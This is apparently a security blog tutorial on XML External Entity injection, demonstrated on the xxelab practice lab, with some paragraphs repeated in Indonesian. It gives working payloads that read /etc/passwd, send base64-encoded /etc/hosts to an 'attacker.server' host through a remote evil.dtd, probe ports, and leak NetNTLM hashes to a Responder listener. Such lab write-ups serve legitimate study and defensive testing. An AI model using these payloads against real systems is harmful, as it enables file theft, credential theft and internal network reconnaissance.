Exploiting XML External Entity (XXE) Injection Vulnerability
XML Entity 101
General Entity
In simple words, Entity in XML can be said to be a variable, so this Entity can hold a value. Entities can be declared as Internal or External. Entity has 3 important parts, namely &
, entity-name
and ;
. So to call an entity that has been declared must combine these 3 parts.
Internal Entity
To create an Internal Entity use the following syntax
<!ENTITY entity-name "entity value">
Example
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY name "si tampan">]><user>&name;</user>
This is the same as the PHP code below :
$name = "si tampan";
echo $name;
External Entity
Creating an external entity is the same as when creating an internal entity, but adding the SYSTEM
keyword after the entity name and its value is must be absolute/relative URI/URL
.
<!ENTITY enitity-name SYSTEM "URI/URL">
Example
<?xml version="1.0" standalone="yes" ?><!DOCTYPE text [<!ENTITY word SYSTEM "file://text.txt">]><text>&word;</text>
The XML above is the same as the following PHP code :
$word = file_get_contents("file://text.txt");
echo $word;
Parameter Entity
Parameter Entity is similar to General Entity, except that parameter entity can only be used in DTD structures between <!DOCTYPE docname [
and ]>
and must add a %
sign before the entity name.
Pada parameter entity juga terdapat Internal dan External Entity tetapi disini hanya akan membahas parameter external entity. Pada parameter entity, external entity nya harus merupakan data XML karena akan di treat sebagai DTD. Penggunaan parameter entity mirip seperti konsep include()
pada php.
In the parameter entity, there are also Internal and External Entities but here will only discuss external parameter entity. In the parameter entity, the external entity must be a valid syntax of XML data because it will be treated as a DTD. The use of parameter entity is similar to the concept of include()
function in PHP.
<!ENTITY % enitity-name SYSTEM "URI">
For example, there is an external DTD
with the name data.xml
, its contents:
<!ENTITY email "si_tampan@email.com"><!ENTITY name "si tampan">
Example
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [
<!ENTITY % ext-dtd SYSTEM "data.xml">
%ext-dtd;
]>
<user>&name; &email;</user>
Because this parameter entity is similar to the include()
function in PHP, when calling %ext-dtd;
occur, %ext-dtd
will be replaced by all the data in data.xml
, so it will be like this :
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY % ext-dtd SYSTEM "data.xml"><!ENTITY email "si_tampan@email.com"><!ENTITY name "si tampan">]><user>&name; &email;</user>
Entities Within Entities
The value of an Entity that has been declared can be used or combined into another Entity using the following syntax :
<!ENTITY enitity-one "entity-one value"><!ENTITY entity-two "entity-two value &enitity-one;">
Example
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY email "si_tampan@email.com"><!ENTITY name "si tampan &email;">]><user>&name;</user>
Entities Within Entities juga dapat dilakukan pada parameter entity, tetapi nilai nya haruslah valid XML karena akan di parse.
Entities Within Entities can also be performed on parameter entity, but the value must be valid XML syntax because it will be parsed.
XXE Attack
Simply put, the XXE attack occurs because the XML Parser allows the use of External Entities, simple as that !!.
Because by being able to use an external entity, the attacker can do various things, such as :
- SSRF
- PHP Object Injection (through phar://)
- XSS/CSRF
- Local File Disclosure
- RCE
- Local Port Scanning
Lab Setup
For the lab setup, we use xxelab
from https://github.com/jbarone/xxelab, In this repo a Vagrantfile
has been created which means you can directly create the Environment by using vagrant
$ git clone https://github.com/jbarone/xxelab.git$ cd xxelab$ vagrant up
Or you can deploy it by yourself without using Vagrant

Classic XXE
In classic XXE, the attacker only needs to create a simple external entity to read the local file and call the entity through the element that will be parsed by the XML Parser.
Request on the web lab.

From the server response results, it can be seen that the email elements will be parsed and displayed, therefore classic XXE can be used to read local files.
Payload :
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY file SYSTEM "file:///etc/passwd">]><root><name>test</name><tel>082</tel><email>&file;</email><password>pwd</password></root>

Blind XXE — Out Of Band XXE
As the name suggests, it is blind
which means that the parsing result or data will not be displayed, to see the data, exfiltration must be carried out so that the data can be seen/read.
For blind lab XXE still use xxelab, but the source is slightly changed, the echo section is removed so that the results are not displayed as a response.
echo "Sorry, $email is already registered!";
Blind XXE Verification
Before doing perform a Blind XXE injection, it’s better to verify first, whether this website is really vulnerable to Blind XXE or not. To verify is quite easy because you only need to use an external entity with a wrapper or protocol that supports remote sources such as HTTP, FTP, or other protocols according to the tech stack used by the target because some protocols/wrappers are not enabled by default and there are also wrappers that only work on only certain programming languages, for example, the netdoc://
wrapper (its behavior is similar to file://
) which only exists in Java.
Payload Verification :
<!DOCTYPE root [<!ENTITY % test SYSTEM "http://attacker.server:2121">%test;]><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % test SYSTEM "http://attacker.server:2121">%test;]><root><name>test</name><tel>021212</tel><email>test</email><password>pwd</password></root>
If you got a response from the target server, it means that you can be sure that target is vulnerable to Blind XXE.

OOB XXE
If the target has been verified and received a response indicating vulnerable to XXE, the next step is to exfiltrate the data you want to read.
Remote dtd nya bernama evil.dtd
disimpan di server attacker, isi nya :
The remote DTD called evil.dtd
is stored on the attacker’s server, its contents are:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts"><!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.server:2121/?%file;'>">
Payload diatas, filenya menggunakan wrapper php base64 tujuannya adalah untuk menghindari adanya whitespace
karakter pada data yang ingin diexfiltration karena pada libxml
php url tidak boleh mengandung whitespace karakter.
The payload above, the file uses a base64 PHP wrapper, the goal is to avoid whitespace characters (\s, \t,\n) in the data you want to exfiltrate because the libxml
of PHP the url cannot contain whitespace characters.

How the payload above works as follows :
- The external entity will parser remote source at http://attacker.server/evil.dtd
- parameter entity
file
will read/etc/hosts
- entity
all
create parameter entity calledsend
- entity
send
will send a request to http://attacker.server:2121 and append the data fromfile
entity, so the URL requests look like this: http://attacker.server:2121/?DATABASE64
The server listener contains base64-encoded data, if it is decoded its contents are the target server’s /etc/hosts
file.

XXE And Port Scan
To do port scanning is actually very easy because the payload is the same as when doing Blind XXE verification. That way the attacker only needs to change the host to the local server and what port he wants to try to contact. An indicator of whether a particular port is open can be seen from the server response, for example, the response time is too long or maybe there is an error message that is displayed (if the server activates error reporting).
Try scanning port 9000.

XXE And NetNTLM
If the target is on Windows Server, XXE can also be used to steal NetNTLM hashes with the help of metasploit
or Responder
tools, the stolen NetNTLM hashes cannot be used to pass The Hash Attack but can be cracked to get plaintext passwords.
To interact with the SMB protocol (especially in the case of XXE in PHP) we can use the php://
wrapper and the URI to interact with the SMB protocol is //
.
For payload, of course, we can use an external entity (General/Parameter).
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY steal SYSTEM "php://filter/convert.base64-encode/resource=//RESPONDER-IP/WhatEver">]><root><name>test</name><tel>021212</tel><email>&steal;</email><password>pwd</password></root>
Command to run Responder
$ ./Responder.py -I <INTERFACES_NAME>
XXE And Open XML Document
XXE And SSRF
TBA.
Conclusion
XXE attack occurs because the XML Parser allows the use of External Entity. XXE is a security bug that occurs in a specific technology, namely XML, if you still don’t understand XXE, it’s due to a lack of knowledge of XML itself.
Update
This article will continue to be updated because there is still much to be discussed about this XXE, especially the strange behavior of XML parsers from various programming languages.
Reference :
- https://www.w3schools.com/xml/xml_dtd_intro.asp
- https://xmlwriter.net/xml_guide/entity_declaration.shtml
- https://gist.github.com/staaldraad/01415b990939494879b4
- https://www.xml.com/pub/a/98/08/xmlqna2.html https://www.liquid
- technologies.com/DTD/Structure/ENTITY.aspx
- https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/
- https://gardienvirtuel.ca/fr/actualites/from-xml-to-rce.php